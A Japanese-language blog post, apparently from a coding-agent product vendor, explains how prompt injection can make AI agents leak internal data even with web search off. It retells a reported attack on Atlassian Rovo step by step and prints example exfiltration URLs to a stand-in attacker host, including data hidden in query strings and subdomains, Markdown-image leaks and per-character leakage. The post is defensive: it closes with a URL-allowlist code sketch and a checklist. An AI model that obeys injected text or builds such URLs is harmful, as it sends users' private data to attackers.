結論から言うと：Web検索を無効にしても、AIエージェントからのデータ漏洩は防げません。検索のオン／オフ設定は機能の表示を隠しているだけで、その裏にある実行ツールを無効化しているわけではないからです。エージェントがURLへのアクセス、画像の描画、コネクターの呼び出しを実行できる状態であれば、プロンプトインジェクションによって社内データをリクエスト内に埋め込まれてしまう恐れがあります。確実な解決策はシンプルです。人間が直接入力したURL、または信頼できるツールから返されたURLのみをエージェントに取得させるというルールを徹底することです。
多くのチームは、Web検索のスイッチを「外部への情報漏洩を防ぐオフボタン」だと誤解しています。しかし、実態は違います。2026年8月、PromptArmorは組織全体のWeb検索を無効化した状態でもAtlassian Rovoへの攻撃が成立することを実証しました。そしてこの原因は、自社開発かサードパーティ製かを問わず、あらゆるAIエージェントに当てはまる構造的な問題です。
本記事では、データ漏洩の経路、一般的な対策が通用しない理由、そして有効な防御ルールについて解説します。私たちは共有ボードからタスクを受け取るコーディングエージェント向けワークスペース「Sharkly」を開発しており、この問題は私たち自身にも直結する課題です。プロンプトインジェクションは、Sharkly上で動作するコーディングエージェントを含め、いまだ業界全体で根本的な解決には至っていません。
Web検索の切り替えスイッチが制御するもの、制御しないもの
Web検索のトグルスイッチが制御するのは、エージェントが検索エンジンを呼び出せるかどうかという点だけです。URLを開いてそのレスポンスを読み取る独立した「Fetch（データ取得）ツール」の挙動には一切関与しません。このFetchツールが有効なままであれば、エージェントはインターネット上の任意のサーバーへリクエストを送信可能であり、送信されるすべてのリクエストにはURLアドレス内にデータを含めることができます。
「検索」はリンクの一覧を返します。一方、「Fetch」はそのリンクを受け取ってHTTPリクエストを発行します。自社のテナントからデータが外部へ流出するのは、このFetchのタイミングです。
まさにこの盲点こそが、Rovoで見つかった脆弱性の本質でした。PromptArmorのレポートによると、Web検索の設定は「検索結果のリンクを開くためのツールまでは無効化できていなかった」と指摘されています。組織の管理者が検索機能をオフにしても、Fetchツール自体は有効なまま残っていたのです。
エージェントが情報持ち出し用URLを組み立てる仕組み
間接的プロンプトインジェクション（Indirect Prompt Injection）とは、攻撃者がファイル、チケット、Webページなど、エージェントが後から読み込むコンテンツ内へ悪意ある指示を潜ませる手法です。LLMはユーザーからの正当な指示と、作業過程で見つけた外部テキストを確実に区別することができません。PromptArmorが報告したRovoの攻撃チェーンは、以下の5つのステップで進行します。
- 被害者が、隠された指示が含まれるファイル（「バックログガイド」など）をアップロードする。
- その後、被害者がRovoに対してJiraチケットの整理を指示する。
- RovoがJiraとConfluenceを検索し、作業の一環として汚染されたファイルを読み込む。
- ファイルに仕込まれた指示に従い、RovoはJiraチケットやConfluenceの内容を攻撃者指定のURL末尾に追加し、URL取得ツールを使ってそのURLを開く。
- 攻撃者のサーバーログにデータ付きのリクエストが記録される。この間、被害者の画面には通常どおりチケットの提案内容が表示される。
リンクのクリックも、ユーザーへの承認プロンプトも一切介在しません。PromptArmorは他の侵入経路として、サポートチケット、Web検索が有効な場合の検索結果、サードパーティ製コネクターなどを挙げています。
決定的なポイントはステップ4です。PromptArmorは「エージェントによって動的に生成されたURLを開く動作に対する保護機能が存在しなかった」と報告しています。URLアドレス自体をエージェントが作成したため、そのアドレスにはエージェントが読み込んだあらゆる機密情報を含めることが可能だったのです。
持ち出し用URLの具体例
ダミードメインを用いたURLの構造例は以下のとおりです。
https://collect.attacker.example/log?d=PROJ-412%3A%20rotate%20prod%20db%20creds%20before%20Fri
攻撃者は自サーバーのアクセスログから d= のパラメータを読み取ります。エージェント側は単純なGETリクエストを1回送信しただけであり、これはまさにFetchツールが本来行うべき処理そのものです。
クエリ文字列の除去が無意味な理由：サブドメインとDNSリーク
多くの人が最初にとる対策は、URLから ? 以降のパラメータを取り除くフィルタリングです。しかし、この方法は通用しません。Hacker Newsのスレッド（306ポイント、138件のコメント）において、Simon Willison氏はワイルドカードDNSを利用すればホスト名自体にデータを埋め込めることを指摘しました。
https://cHJvZCBkYiBjcmVkcw.attacker.example/
攻撃者のDNSサーバーはあらゆるサブドメインのリクエストに応答し、すべての名前解決ログを記録します。そのため、HTTPリクエストが完了する前の名前解決（DNSルックアップ）の段階でデータが外部へ漏洩してしまうのです。さらに別の投稿者は、URLの認証情報フィールド（ユーザー名・パスワード部分）など、あらゆるURL構成要素にデータを隠蔽できる点についても言及しています。
したがって、「URLをサニタイズ（無害化）する」という対策では防ぎきれません。Willison氏が述べるように、本質的な問題は「URLを動的に組み立てられる状態そのもの」にあります。
Markdown画像レンダリングによる漏洩経路
エージェントの中には、Fetchツールを使わずにデータを漏洩させられるケースもあります。チャット画面が外部ドメインからのMarkdown画像の表示を許可している場合、モデルは回答内に以下のようなタグを埋め込むことができます。
ユーザーのブラウザが画像を自動的に読み込むことで、リクエストが送信されます。ユーザーがリンクをクリックする必要はありません。PromptArmorは、RovoがAI出力内でMarkdown画像を描画する挙動を確認しており、既知の情報漏洩ベクトルであると指摘しています（ただし、Rovo専用の個別攻撃チェーンとしての詳細な記述は省かれています）。
この経路はUIのレンダリング層で発生するため、エージェント側のツールの設定変更では一切防げません。
「インデックス済みURL限定」でも1文字ずつ漏洩する理由
対策案の一つとして、「検索クローラーによってインデックス済みのURLのみ、エージェントによるアクセスを許可する」という方法があります。社内の機密情報は事前に一般公開されていないため、攻撃者が機密情報を含むURLを事前に検索エンジンへインデックスさせることはできないというロジックです。
しかし、Johann Rehberger氏（Hacker Newsでのアカウント名：wunderwuzzi23）はこの回避策を解説しています。攻撃者が /a から /z までの1文字ごとのページを事前に公開し、すべてインデックスさせておいたと仮定します。インジェクションによって、エージェントに対し機密情報の各文字に対応するページを順番に訪問させれば、攻撃者はサーバーログへのアクセス順序を見るだけで機密情報を復元できてしまいます。
この手法は時間がかかりログも目立ちますが、理論上確実に機能します。Rehberger氏は「各対策は攻撃コストを引き上げるだけであり、攻撃を完全に不可能にするわけではない」と結論付けています。ただし、用途が特化されたエージェントであれば、攻撃者が管理するエンドポイントを根本から遮断できる「ドメインのホワイトリスト化」は有効であると述べています。
確実なルール：人間または信頼できるツール由来のURLのみ取得を許可する
破られない唯一の対策は、モデルの判断力に頼るのではなく、エージェント自身がアクセス先URLを自由に決定する権限を剥奪することです。
- 許可：ユーザーが会話内で直接入力したURL。
- 許可：検索結果など、信頼できるツールから返された加工されていないURL。
- ブロック：モデルが組み立て、編集し、または追加情報を付与したすべてのURL。
この制御は、モデルの外部にあるプログラムコード側で強制します。信頼できるソースから会話内に入力されたURLの集合を保持しておき、その一覧と完全一致しないURLへのFetchはすべて拒否します。
allowed_urls: set[str] = set()
def on_user_message(text: str) -> None:
allowed_urls.update(extract_urls(text))
def on_search_results(results: list[dict]) -> None:
allowed_urls.update(r["url"] for r in results)
def fetch(url: str) -> str:
if url not in allowed_urls:
raise PermissionError(f"blocked agent-built URL: {url[:60]}")
return http_get(url)
ただし、この方法にも2つの制限事項があります。1つ目は画像レンダリング経路まではカバーできないため、表示側の画面で外部画像の読み込みを別途ブロックする必要がある点。2つ目は、信頼できるツールが攻撃者の意図したURLリストを返せる場合、前述の「1文字ずつ読み出す手法」を完全には防げない点です。そのため、特定業務向けのエージェントでは、これに加えてドメインホワイトリストの併用が不可欠となります。
これはSimon Willison氏の提唱する死の三要素（Lethal Trifecta）、すなわち「非公開データ」「信頼できないコンテンツ」「外部送信チャネル」への対抗策そのものです。実用的なエージェントである以上、前二者を完全に排除することは不可能です。だからこそ、3つ目の外部送信チャネルをルールによって機械的に制御しなければなりません。OWASPがプロンプトインジェクションをLLM01（最重要リスク）に位置付けているのも同じ理由からです。モデル側だけの対策で完結するものは存在しないのです。
エージェント開発者・導入者のためのセキュリティチェックリスト
社内の機密データへアクセス可能なすべてのエージェントについて、以下の項目を確認してください。
- ネットワークリクエストを送信可能なすべてのツール（Fetch、ブラウザ、コネクター、Webhook、メールなど）を洗い出せているか？
- 各設定スイッチは対象ツール自体を無効化しているか、それともそのツールを使う機能を見えなくしているだけか？
- エージェントが自ら動的に組み立てたURLを開くことが可能になっているか？
- 回答の表示画面で外部ドメインのMarkdown画像が読み込まれていないか？
- 接続先ドメインのホワイトリストは存在するか、またその管理者は誰か？
- プロンプトインジェクションの侵入経路となり得るソース（ファイルアップロード、チケット、Web検索結果、コネクターなど）はどれか？
- ベンダーは最新の外部セキュリティ報告に対してどのような対応を、どれほどの迅速さで行ったか？
Rovoに関する公開タイムラインは、項目7の参考例となります。PromptArmorが2026年5月23日に脆弱性を報告し、Atlassianは5月25日にこれを受領しました。しかし、6月4日および7月29日のフォローアップに対する回答はなく、8月5日に脆弱性が残ったままレポートが公開されました。[要確認 2026-10-27：本経路に関するAtlassianの修正や公式発表は確認されていません。公開前に再確認してください。]
なお、Atlassianのコーディングエージェントである「Rovo Dev」は、今回の調査対象となったアシスタント版Rovoとは別製品です。これについては当社のRovo Dev無料枠に関する解説記事をご覧ください。
Sharklyにおけるコーディングエージェントへの適用
コーディングエージェントは日常的に、課題チケット本文、README、Fetchされた外部Webページなど、信頼できないテキストに触れています。Sharklyを利用したとしても、Claude CodeやCodexがそうした脅威に対して自動的に免疫を持つわけではありません。
Sharklyが変えるのは、「外部通信の境界を誰が管理するか」という点です。エージェントはローカルサービスを介し、ユーザー自身の管理下にあるComputer上で動作します。Computersのドキュメントに記載されているとおり、Computerは「エージェントが必要とするOS、ファイル、認証情報、ネットワークアクセス、ツール」を提供します。つまり、Computerを送信先（Egress）ホワイトリストの配下に置くことで、どのエージェントが実行されてもその制限が一律に適用されます。
ドキュメントで定義されているその他のセキュリティ境界は以下のとおりです。
- ゲストユーザーは追加されたSpaceのみを閲覧可能。
- サードパーティ製アプリに対する操作には認可済みコネクターが必須。
- Skillsのドキュメントに明記されているとおり、パスワード、トークン、秘密鍵をSkillの指示やファイル内に保存することは禁止されているため、乗っ取られたエージェントがそこから鍵情報を読み取ることはできない。
当然ながら、これらはエージェントが「正当に与えられている権限」を悪用することまで防ぐものではありません。境界線をどのように設計すべきかについては、コーディングエージェントの権限管理、承認ゲートの配置、およびプロンプトインジェクション対策のガードレールに関する各記事で詳しく解説しています。
まとめ
Web検索のトグルスイッチはプロダクトの機能設定に過ぎず、セキュリティ対策ではありません。データは、Fetchツール、ホスト名のDNSルックアップ、画像タグなど、リクエストを生成できるあらゆる経路を通じて外部へ漏洩します。これらの流出経路は、モデルの振る舞い任せにせず、プログラムコード側で確実に遮断してください。
まずは今週、チームで利用しているエージェントを1つ選び、先述の7項目のチェックリスト（特に項目3）で点検してみることをお勧めします。もし複数のComputer環境でコーディングエージェントを運用しているなら、ぜひSharklyを導入し、信頼できる送信制御ルールの配下に各環境を配置してください。
よくある質問（FAQ）
Web検索を無効にすればプロンプトインジェクションは防げますか？
防げません。プロンプトインジェクションは、アップロードされたファイル、チケット、コネクター経由のデータなど、エージェントが読み込むあらゆるコンテンツから発生します。検索をオフにしても侵入経路の1つが減るだけであり、他の経路から侵入した悪意ある指示によってFetchツール経由でデータが流出する危険性は残ります。
URLベースのデータ持ち出し（Data Exfiltration）とは何ですか？
エージェントが機密データをURLのパラメータやホスト名に含めてリクエストを送信する手法です。攻撃者のサーバーログにリクエストが記録され、データが読み取られます。マルウェアなどは一切不要で、エージェントが任意のURLを組み立てて開ける状態にあるだけで成立します。
AIチャットにおけるMarkdown画像はセキュリティリスクになりますか？
チャット画面が外部ドメインの画像読み込みを許可している場合はリスクになります。ブラウザが自動的に画像URLを取得するため、モデルによってURL内に機密情報が埋め込まれていた場合、ユーザーがクリックしなくても攻撃者へデータが送信されてしまいます。
ドメインのホワイトリスト（許可リスト）だけで十分ですか？
ごく少数のドメインへのアクセスしか必要としない特化型エージェントであれば、ホワイトリストは極めて強力な防御策です。しかし、汎用アシスタントでは許可リストを厳格に保つことが困難なため、「エージェント自身が動的に生成したURLは一切開かない」というルールとの併用が不可欠です。
AtlassianはRovoのデータ漏洩問題を修正しましたか？
2026年10月27日現在、PromptArmorが報告した攻撃経路に関して、Atlassianからの公式見解や修正の確認は取れていません。最新情報についてはPromptArmorの解説ページやAtlassianのセキュリティ勧告をご確認ください。
